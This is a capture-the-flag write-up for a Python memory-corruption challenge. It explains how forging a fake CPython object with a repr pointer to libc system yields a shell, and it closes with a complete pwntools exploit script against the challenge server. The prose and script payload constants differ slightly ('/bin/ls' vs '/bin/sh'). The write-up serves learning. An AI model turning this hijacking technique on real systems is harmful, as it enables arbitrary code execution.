This was a fun challenge that exposes some of Python’s internals.
First, here’s the script that was given:
#!/usr/bin/env python3
import ctypes
obj = {}
print(f"addrof(obj) = {hex(id(obj))}")
libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")
fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]
print(obj)We’re given the address of an object, but what can we do with that?
My first idea was to replace one of the internal function pointers (like a destructor or __repr__) with the address of system, and somehow pass /bin/sh as an argument. But first, we need to examine what obj looks like in memory.
To do that, I used GDB to debug Python and run the fakeobj.py script. Before modifying the object, I wanted to pause the script to inspect memory. You can use signals or GDB Python extensions, but I took the simpler route—adding an input() just before the object gets overwritten.
Here’s the modified script:
import ctypes
obj = {}
print(f"addrof(obj) = {hex(id(obj))}")
libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")
input() # acts like a breakpointWhen inspecting memory, we see the object contains several fields, four of which are addresses:
pwndbg> x/9gx 0x7ffff718a600
0x7ffff718a600: 0x0000000000000001 0x00007ffff7cdab80
0x7ffff718a610: 0x0000000000000000 0x0000000003cde000
0x7ffff718a620: 0x00007ffff7ca6200 0x0000000000000000
0x7ffff718a630: 0x00007ffff7189fb0 0x00007ffff716ef70
0x7ffff718a640: 0x0000000000000001
The rest are probably arguments or metadata. To figure out which field we can control, I began overwriting them one by one to see which affected program control flow. Two stood out:
-
The first address should point to
obj_addr + 0x88. -
The second address should point to an executable memory, overwriting this value with
0xdeadbeefcauses a crash at exactly that address, confirming control of execution.
Disassembly shows:
<PyObject_Str+176>: mov r14, QWORD PTR [r13+0x88]This means if we control r13, and r13+0x88 points to our the beginning of our object, we can hijack execution when repr() is called (via print(obj)).
To trigger system("/bin/sh"), I first what system took as an argument. When I ran the program with __repr__ replaced by system, the program failed with an error like sh: \x03: command not found. It turns out the first byte (0x01 which then becomes 0x03 just before the call) of the object is being passed as the first byte of the string—somehow the ob_refcnt is treated as string argument of __repr__. So I adjusted the payload by subtracting 0x2 from the /bin/sh.
Now, overwriting the beginning of the object with:
0x00736c2f6e69622f - 0x2…got me a shell!
When testing in the provided Docker container, it didn’t work right away. I installed GDB inside the container and noticed it was running Python 3.10, while I used Python 3.12 locally.
Inspecting the memory again, I saw that the first byte of the object changes from 0x01 to 0x02 instead of 0x03. Adjusting the payload:
0x00736c2f6e69622f - 0x1…did the trick. Got a shell.
Flag: DUCTF{what_do_you_call_a_snake_that_bakes?_a_pie-thon!}
Final Exploit Script
#!/usr/bin/env python3
from pwn import *
r = remote("chal.2025-us.ductf.net", 30001)
r.recvuntil(b"addrof(obj) = ")
obj_addr = int(r.recvuntil(b"\n").strip(), 16)
r.recvuntil(b"system = ")
system_addr = int(r.recvuntil(b"\n").strip(), 16)
payload = p64(0x0068732f6e69622f - 0x1) # '/bin/sh' - 1
payload += p64(obj_addr) # fake ob_type
payload += p64(0x0) # padding
payload += p64(0x3ce2000) # arbitrary
payload += p64(system_addr) # hijack repr
payload += p64(0x0)
payload += p64(0xc0febabe)
payload += p64(0xdeadbeef)
payload += p64(0x1)
r.recvuntil(b"fakeobj:")
r.sendline(enhex(payload).encode())
r.interactive()